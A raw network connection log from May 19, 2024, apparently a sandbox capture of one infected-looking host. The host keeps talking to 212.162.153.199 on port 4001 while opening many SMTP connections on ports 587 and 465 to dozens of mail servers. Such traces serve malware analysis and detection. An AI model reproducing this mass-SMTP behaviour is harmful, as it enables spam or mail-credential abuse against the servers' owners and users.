May 19, 2024 17:27:57.904800892 CEST	587	50031	46.255.231.19	192.168.2.4
May 19, 2024 17:27:57.904891014 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.904891014 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.907866955 CEST	587	50031	46.255.231.19	192.168.2.4
May 19, 2024 17:27:57.907888889 CEST	587	49863	46.182.21.2	192.168.2.4
May 19, 2024 17:27:57.907915115 CEST	50031	587	192.168.2.4	46.255.231.19
May 19, 2024 17:27:57.908134937 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.908134937 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.912091970 CEST	587	50037	193.122.179.25	192.168.2.4
May 19, 2024 17:27:57.912115097 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.912127972 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.912477016 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.912740946 CEST	50120	587	192.168.2.4	66.133.129.50
May 19, 2024 17:27:57.913295031 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.913743973 CEST	50086	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:57.913805962 CEST	50089	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:57.913857937 CEST	49802	587	192.168.2.4	198.164.44.72
May 19, 2024 17:27:57.913925886 CEST	50121	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:57.914053917 CEST	50059	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:57.914119959 CEST	49806	587	192.168.2.4	91.209.104.155
May 19, 2024 17:27:57.918201923 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.918221951 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.923051119 CEST	587	50120	66.133.129.50	192.168.2.4
May 19, 2024 17:27:57.923129082 CEST	50120	587	192.168.2.4	66.133.129.50
May 19, 2024 17:27:57.923283100 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.924629927 CEST	587	50086	41.193.157.227	192.168.2.4
May 19, 2024 17:27:57.924644947 CEST	587	50089	41.193.157.227	192.168.2.4
May 19, 2024 17:27:57.924659967 CEST	587	49802	198.164.44.72	192.168.2.4
May 19, 2024 17:27:57.924675941 CEST	587	50121	168.0.132.203	192.168.2.4
May 19, 2024 17:27:57.924690008 CEST	587	50059	84.2.43.67	192.168.2.4
May 19, 2024 17:27:57.924704075 CEST	587	49806	91.209.104.155	192.168.2.4
May 19, 2024 17:27:57.924719095 CEST	587	50035	207.211.30.141	192.168.2.4
May 19, 2024 17:27:57.924767971 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.924848080 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.924854040 CEST	50121	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:57.925780058 CEST	587	50035	207.211.30.141	192.168.2.4
May 19, 2024 17:27:57.925797939 CEST	587	50035	207.211.30.141	192.168.2.4
May 19, 2024 17:27:57.925837040 CEST	50035	587	192.168.2.4	207.211.30.141
May 19, 2024 17:27:57.926018953 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.927906036 CEST	50094	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:57.927939892 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.928164005 CEST	587	50035	207.211.30.141	192.168.2.4
May 19, 2024 17:27:57.928204060 CEST	587	50035	207.211.30.141	192.168.2.4
May 19, 2024 17:27:57.928260088 CEST	50035	587	192.168.2.4	207.211.30.141
May 19, 2024 17:27:57.928297997 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.930533886 CEST	587	50035	207.211.30.141	192.168.2.4
May 19, 2024 17:27:57.930550098 CEST	587	50035	207.211.30.141	192.168.2.4
May 19, 2024 17:27:57.930592060 CEST	50035	587	192.168.2.4	207.211.30.141
May 19, 2024 17:27:57.930636883 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.935262918 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.935276985 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.935288906 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.935303926 CEST	587	50094	62.149.128.200	192.168.2.4
May 19, 2024 17:27:57.935317039 CEST	587	50066	162.241.203.50	192.168.2.4
May 19, 2024 17:27:57.935349941 CEST	50094	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:57.935415983 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.943046093 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.950685978 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.950766087 CEST	49863	587	192.168.2.4	46.182.21.2
May 19, 2024 17:27:57.958643913 CEST	50037	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:57.959666014 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.959666014 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.974272966 CEST	50035	587	192.168.2.4	207.211.30.141
May 19, 2024 17:27:57.986649036 CEST	587	49915	35.214.122.161	192.168.2.4
May 19, 2024 17:27:57.986748934 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:57.989896059 CEST	50066	587	192.168.2.4	162.241.203.50
May 19, 2024 17:27:57.991355896 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.996129036 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:57.996146917 CEST	587	50031	46.255.231.19	192.168.2.4
May 19, 2024 17:27:57.996248007 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.001092911 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.001108885 CEST	587	50101	184.106.54.2	192.168.2.4
May 19, 2024 17:27:58.001154900 CEST	50101	587	192.168.2.4	184.106.54.2
May 19, 2024 17:27:58.001188993 CEST	50101	587	192.168.2.4	184.106.54.2
May 19, 2024 17:27:58.001228094 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.005960941 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.010791063 CEST	587	50101	184.106.54.2	192.168.2.4
May 19, 2024 17:27:58.020597935 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.020612001 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.020626068 CEST	587	50035	207.211.30.141	192.168.2.4
May 19, 2024 17:27:58.020704985 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.020812035 CEST	49961	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:58.020865917 CEST	49864	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:58.020868063 CEST	49955	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:58.020919085 CEST	49974	587	192.168.2.4	194.181.93.175
May 19, 2024 17:27:58.020967007 CEST	49820	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:58.021533012 CEST	587	50036	81.2.195.204	192.168.2.4
May 19, 2024 17:27:58.021549940 CEST	587	50036	81.2.195.204	192.168.2.4
May 19, 2024 17:27:58.021600008 CEST	50036	587	192.168.2.4	81.2.195.204
May 19, 2024 17:27:58.021848917 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.022588968 CEST	50122	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:58.023463964 CEST	587	50036	81.2.195.204	192.168.2.4
May 19, 2024 17:27:58.023554087 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.023554087 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.025403023 CEST	587	50036	81.2.195.204	192.168.2.4
May 19, 2024 17:27:58.025418997 CEST	587	50036	81.2.195.204	192.168.2.4
May 19, 2024 17:27:58.025465012 CEST	50036	587	192.168.2.4	81.2.195.204
May 19, 2024 17:27:58.025530100 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.030343056 CEST	587	50070	194.152.32.10	192.168.2.4
May 19, 2024 17:27:58.030360937 CEST	587	49961	41.193.157.227	192.168.2.4
May 19, 2024 17:27:58.030374050 CEST	587	49864	84.2.43.67	192.168.2.4
May 19, 2024 17:27:58.030389071 CEST	587	49955	41.193.157.227	192.168.2.4
May 19, 2024 17:27:58.030402899 CEST	587	49974	194.181.93.175	192.168.2.4
May 19, 2024 17:27:58.030415058 CEST	587	49820	168.0.132.203	192.168.2.4
May 19, 2024 17:27:58.030427933 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.030438900 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.030442953 CEST	587	50122	142.93.237.125	192.168.2.4
May 19, 2024 17:27:58.030507088 CEST	50122	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:58.030574083 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.036745071 CEST	49915	587	192.168.2.4	35.214.122.161
May 19, 2024 17:27:58.036856890 CEST	50031	587	192.168.2.4	46.255.231.19
May 19, 2024 17:27:58.068136930 CEST	50035	587	192.168.2.4	207.211.30.141
May 19, 2024 17:27:58.068137884 CEST	50036	587	192.168.2.4	81.2.195.204
May 19, 2024 17:27:58.076977015 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.076994896 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.077008009 CEST	587	49778	142.93.237.125	192.168.2.4
May 19, 2024 17:27:58.077022076 CEST	587	50007	164.90.197.79	192.168.2.4
May 19, 2024 17:27:58.077034950 CEST	587	50064	168.0.132.203	192.168.2.4
May 19, 2024 17:27:58.077060938 CEST	587	49802	198.164.44.72	192.168.2.4
May 19, 2024 17:27:58.077073097 CEST	587	49802	198.164.44.72	192.168.2.4
May 19, 2024 17:27:58.077249050 CEST	49802	587	192.168.2.4	198.164.44.72
May 19, 2024 17:27:58.077364922 CEST	49778	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:58.077364922 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.077364922 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.077364922 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.077364922 CEST	49778	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:58.077466011 CEST	49802	587	192.168.2.4	198.164.44.72
May 19, 2024 17:27:58.077514887 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.077514887 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.077514887 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.078069925 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.078103065 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.081666946 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.081681013 CEST	587	49843	84.116.6.19	192.168.2.4
May 19, 2024 17:27:58.081693888 CEST	587	49843	84.116.6.19	192.168.2.4
May 19, 2024 17:27:58.081701040 CEST	587	49940	157.7.144.20	192.168.2.4
May 19, 2024 17:27:58.081832886 CEST	49843	587	192.168.2.4	84.116.6.19
May 19, 2024 17:27:58.081832886 CEST	49843	587	192.168.2.4	84.116.6.19
May 19, 2024 17:27:58.081944942 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.081944942 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.081944942 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.083656073 CEST	50070	587	192.168.2.4	194.152.32.10
May 19, 2024 17:27:58.122227907 CEST	587	49802	198.164.44.72	192.168.2.4
May 19, 2024 17:27:58.122247934 CEST	587	49778	142.93.237.125	192.168.2.4
May 19, 2024 17:27:58.122261047 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.122273922 CEST	587	49889	162.241.225.12	192.168.2.4
May 19, 2024 17:27:58.122315884 CEST	587	50036	81.2.195.204	192.168.2.4
May 19, 2024 17:27:58.122493982 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.122493982 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.122739077 CEST	50123	587	192.168.2.4	18.119.154.66
May 19, 2024 17:27:58.127136946 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.127161980 CEST	587	49779	142.93.237.125	192.168.2.4
May 19, 2024 17:27:58.127176046 CEST	587	50059	84.2.43.67	192.168.2.4
May 19, 2024 17:27:58.127363920 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.127363920 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.127401114 CEST	49779	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:58.127401114 CEST	49779	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:58.127401114 CEST	50074	587	192.168.2.4	103.13.28.93
May 19, 2024 17:27:58.127454996 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.127676010 CEST	49948	587	192.168.2.4	182.248.170.226
May 19, 2024 17:27:58.127754927 CEST	49870	587	192.168.2.4	35.214.83.212
May 19, 2024 17:27:58.127976894 CEST	50022	587	192.168.2.4	195.238.20.30
May 19, 2024 17:27:58.128024101 CEST	49935	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:58.130518913 CEST	49940	587	192.168.2.4	157.7.144.20
May 19, 2024 17:27:58.130531073 CEST	50007	587	192.168.2.4	164.90.197.79
May 19, 2024 17:27:58.130783081 CEST	50064	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:58.130790949 CEST	50030	587	192.168.2.4	154.55.194.116
May 19, 2024 17:27:58.130927086 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.137208939 CEST	587	49843	84.116.6.19	192.168.2.4
May 19, 2024 17:27:58.137228966 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.137243032 CEST	587	50038	124.156.190.79	192.168.2.4
May 19, 2024 17:27:58.137481928 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.142177105 CEST	587	50006	194.153.145.104	192.168.2.4
May 19, 2024 17:27:58.142199993 CEST	587	50123	18.119.154.66	192.168.2.4
May 19, 2024 17:27:58.142218113 CEST	587	49907	46.227.176.12	192.168.2.4
May 19, 2024 17:27:58.142232895 CEST	587	49779	142.93.237.125	192.168.2.4
May 19, 2024 17:27:58.142236948 CEST	50006	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:58.142246962 CEST	587	50074	103.13.28.93	192.168.2.4
May 19, 2024 17:27:58.142261982 CEST	587	49948	182.248.170.226	192.168.2.4
May 19, 2024 17:27:58.142263889 CEST	50006	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:58.142263889 CEST	50123	587	192.168.2.4	18.119.154.66
May 19, 2024 17:27:58.142277002 CEST	587	49870	35.214.83.212	192.168.2.4
May 19, 2024 17:27:58.142292023 CEST	587	50022	195.238.20.30	192.168.2.4
May 19, 2024 17:27:58.142306089 CEST	587	49935	213.209.1.145	192.168.2.4
May 19, 2024 17:27:58.142319918 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.142432928 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.142432928 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.142518044 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.148206949 CEST	587	50030	154.55.194.116	192.168.2.4
May 19, 2024 17:27:58.148267984 CEST	50030	587	192.168.2.4	154.55.194.116
May 19, 2024 17:27:58.153070927 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.158381939 CEST	587	50006	194.153.145.104	192.168.2.4
May 19, 2024 17:27:58.158405066 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.158763885 CEST	50124	587	192.168.2.4	103.226.222.162
May 19, 2024 17:27:58.162295103 CEST	50036	587	192.168.2.4	81.2.195.204
May 19, 2024 17:27:58.162296057 CEST	49889	587	192.168.2.4	162.241.225.12
May 19, 2024 17:27:58.164037943 CEST	587	50124	103.226.222.162	192.168.2.4
May 19, 2024 17:27:58.164130926 CEST	50124	587	192.168.2.4	103.226.222.162
May 19, 2024 17:27:58.164216995 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.177387953 CEST	50038	587	192.168.2.4	124.156.190.79
May 19, 2024 17:27:58.177390099 CEST	50059	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:58.186554909 CEST	587	50115	81.7.169.213	192.168.2.4
May 19, 2024 17:27:58.186806917 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.193643093 CEST	49907	587	192.168.2.4	46.227.176.12
May 19, 2024 17:27:58.222011089 CEST	587	50008	104.18.2.81	192.168.2.4
May 19, 2024 17:27:58.222069979 CEST	50008	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:58.222105980 CEST	50008	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:58.222147942 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.226763010 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.226778984 CEST	587	50010	199.85.66.2	192.168.2.4
May 19, 2024 17:27:58.226841927 CEST	50010	587	192.168.2.4	199.85.66.2
May 19, 2024 17:27:58.226903915 CEST	50007	587	192.168.2.4	164.90.197.79
May 19, 2024 17:27:58.226921082 CEST	50010	587	192.168.2.4	199.85.66.2
May 19, 2024 17:27:58.226942062 CEST	50001	587	192.168.2.4	83.102.40.117
May 19, 2024 17:27:58.226952076 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.227006912 CEST	49959	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:58.227060080 CEST	49871	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:58.227293015 CEST	49847	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:58.231564999 CEST	587	49864	84.2.43.67	192.168.2.4
May 19, 2024 17:27:58.231580019 CEST	587	49864	84.2.43.67	192.168.2.4
May 19, 2024 17:27:58.231591940 CEST	587	49864	84.2.43.67	192.168.2.4
May 19, 2024 17:27:58.231606007 CEST	587	49974	194.181.93.175	192.168.2.4
May 19, 2024 17:27:58.231632948 CEST	49864	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:58.231651068 CEST	49864	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:58.231709957 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.231723070 CEST	49864	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:58.231746912 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.231774092 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.236321926 CEST	587	50008	104.18.2.81	192.168.2.4
May 19, 2024 17:27:58.236335993 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.239892960 CEST	50115	587	192.168.2.4	81.7.169.213
May 19, 2024 17:27:58.241096973 CEST	587	50010	199.85.66.2	192.168.2.4
May 19, 2024 17:27:58.241112947 CEST	587	50007	164.90.197.79	192.168.2.4
May 19, 2024 17:27:58.241127014 CEST	587	50001	83.102.40.117	192.168.2.4
May 19, 2024 17:27:58.241141081 CEST	587	49959	193.122.179.25	192.168.2.4
May 19, 2024 17:27:58.241154909 CEST	587	49871	65.20.63.172	192.168.2.4
May 19, 2024 17:27:58.241168976 CEST	587	49847	168.0.132.203	192.168.2.4
May 19, 2024 17:27:58.241306067 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.245793104 CEST	587	49864	84.2.43.67	192.168.2.4
May 19, 2024 17:27:58.245807886 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.245820045 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.253019094 CEST	587	50089	41.193.157.227	192.168.2.4
May 19, 2024 17:27:58.253104925 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.260788918 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.286941051 CEST	49974	587	192.168.2.4	194.181.93.175
May 19, 2024 17:27:58.291970015 CEST	587	50086	41.193.157.227	192.168.2.4
May 19, 2024 17:27:58.291994095 CEST	587	50100	193.201.172.98	192.168.2.4
May 19, 2024 17:27:58.292053938 CEST	50100	587	192.168.2.4	193.201.172.98
May 19, 2024 17:27:58.292150974 CEST	50100	587	192.168.2.4	193.201.172.98
May 19, 2024 17:27:58.292197943 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.292198896 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.302406073 CEST	50089	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:58.325170040 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.325356007 CEST	49994	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:58.325489044 CEST	50000	587	192.168.2.4	213.172.96.34
May 19, 2024 17:27:58.325505972 CEST	49998	587	192.168.2.4	182.248.170.226
May 19, 2024 17:27:58.325572968 CEST	49819	587	192.168.2.4	91.136.8.56
May 19, 2024 17:27:58.330463886 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.333790064 CEST	50086	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:58.333792925 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.333965063 CEST	50032	465	192.168.2.4	185.53.178.50
May 19, 2024 17:27:58.334099054 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.335249901 CEST	587	50100	193.201.172.98	192.168.2.4
May 19, 2024 17:27:58.335269928 CEST	587	49931	84.2.43.67	192.168.2.4
May 19, 2024 17:27:58.335283995 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.335393906 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.335508108 CEST	587	50022	195.238.20.30	192.168.2.4
May 19, 2024 17:27:58.335606098 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.335606098 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.337064028 CEST	587	50022	195.238.20.30	192.168.2.4
May 19, 2024 17:27:58.337120056 CEST	50022	587	192.168.2.4	195.238.20.30
May 19, 2024 17:27:58.337155104 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.337155104 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.339993000 CEST	587	50022	195.238.20.30	192.168.2.4
May 19, 2024 17:27:58.340010881 CEST	587	49994	65.20.63.172	192.168.2.4
May 19, 2024 17:27:58.340024948 CEST	587	50000	213.172.96.34	192.168.2.4
May 19, 2024 17:27:58.340037107 CEST	587	49998	182.248.170.226	192.168.2.4
May 19, 2024 17:27:58.340050936 CEST	587	49819	91.136.8.56	192.168.2.4
May 19, 2024 17:27:58.340064049 CEST	587	49959	193.122.179.25	192.168.2.4
May 19, 2024 17:27:58.340146065 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.340182066 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.344958067 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.344980001 CEST	465	50032	185.53.178.50	192.168.2.4
May 19, 2024 17:27:58.344993114 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.345006943 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.345021009 CEST	587	49871	65.20.63.172	192.168.2.4
May 19, 2024 17:27:58.345029116 CEST	50032	465	192.168.2.4	185.53.178.50
May 19, 2024 17:27:58.345242023 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.350420952 CEST	50126	587	192.168.2.4	78.46.45.143
May 19, 2024 17:27:58.354635000 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.359553099 CEST	587	49883	103.152.248.23	192.168.2.4
May 19, 2024 17:27:58.359812975 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.364797115 CEST	587	50126	78.46.45.143	192.168.2.4
May 19, 2024 17:27:58.364823103 CEST	587	49961	41.193.157.227	192.168.2.4
May 19, 2024 17:27:58.364942074 CEST	50126	587	192.168.2.4	78.46.45.143
May 19, 2024 17:27:58.365732908 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.365732908 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.369972944 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.369993925 CEST	587	49955	41.193.157.227	192.168.2.4
May 19, 2024 17:27:58.370275974 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.375606060 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.380522013 CEST	50022	587	192.168.2.4	195.238.20.30
May 19, 2024 17:27:58.380523920 CEST	49959	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:58.380651951 CEST	49931	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:58.396219969 CEST	49871	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:58.403387070 CEST	587	50104	193.201.172.98	192.168.2.4
May 19, 2024 17:27:58.403558016 CEST	50104	587	192.168.2.4	193.201.172.98
May 19, 2024 17:27:58.403635979 CEST	50104	587	192.168.2.4	193.201.172.98
May 19, 2024 17:27:58.403774977 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.409018993 CEST	587	49948	182.248.170.226	192.168.2.4
May 19, 2024 17:27:58.409364939 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.411792994 CEST	49961	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:58.411905050 CEST	49883	587	192.168.2.4	103.152.248.23
May 19, 2024 17:27:58.413913965 CEST	587	50104	193.201.172.98	192.168.2.4
May 19, 2024 17:27:58.414016962 CEST	49955	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:58.418931007 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.426835060 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:58.427001953 CEST	50011	587	192.168.2.4	164.90.203.106
May 19, 2024 17:27:58.427038908 CEST	50073	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:58.427090883 CEST	50080	587	192.168.2.4	212.85.98.214
May 19, 2024 17:27:58.427146912 CEST	49797	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:58.427196026 CEST	49934	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:58.427447081 CEST	49836	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:58.427490950 CEST	50097	587	192.168.2.4	64.91.253.60
May 19, 2024 17:27:58.432178974 CEST	587	50012	193.81.82.81	192.168.2.4
May 19, 2024 17:27:58.432262897 CEST	50012	587	192.168.2.4	193.81.82.81
May 19, 2024 17:27:58.432298899 CEST	50012	587	192.168.2.4	193.81.82.81
May 19, 2024 17:27:58.432446957 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.433197975 CEST	587	50007	164.90.197.79	192.168.2.4
May 19, 2024 17:27:58.433248043 CEST	587	50073	41.193.157.227	192.168.2.4
May 19, 2024 17:27:58.433331966 CEST	587	50007	164.90.197.79	192.168.2.4
May 19, 2024 17:27:58.433473110 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.433474064 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.433516979 CEST	50007	587	192.168.2.4	164.90.197.79
May 19, 2024 17:27:58.433517933 CEST	50007	587	192.168.2.4	164.90.197.79
May 19, 2024 17:27:58.437223911 CEST	587	50022	195.238.20.30	192.168.2.4
May 19, 2024 17:27:58.437453032 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:58.442384958 CEST	587	50011	164.90.203.106	192.168.2.4
May 19, 2024 17:27:58.442430019 CEST	587	50080	212.85.98.214	192.168.2.4
May 19, 2024 17:27:58.442444086 CEST	587	49797	64.59.136.142	192.168.2.4
May 19, 2024 17:27:58.442456961 CEST	587	49934	65.20.63.172	192.168.2.4
May 19, 2024 17:27:58.442467928 CEST	587	49836	193.122.179.25	192.168.2.4
May 19, 2024 17:27:58.442481041 CEST	587	50097	64.91.253.60	192.168.2.4
May 19, 2024 17:27:58.447366953 CEST	587	50012	193.81.82.81	192.168.2.4
May 19, 2024 17:27:58.447418928 CEST	587	50007	164.90.197.79	192.168.2.4
May 19, 2024 17:27:58.447432995 CEST	4001	49734	212.162.153.199	192.168.2.4
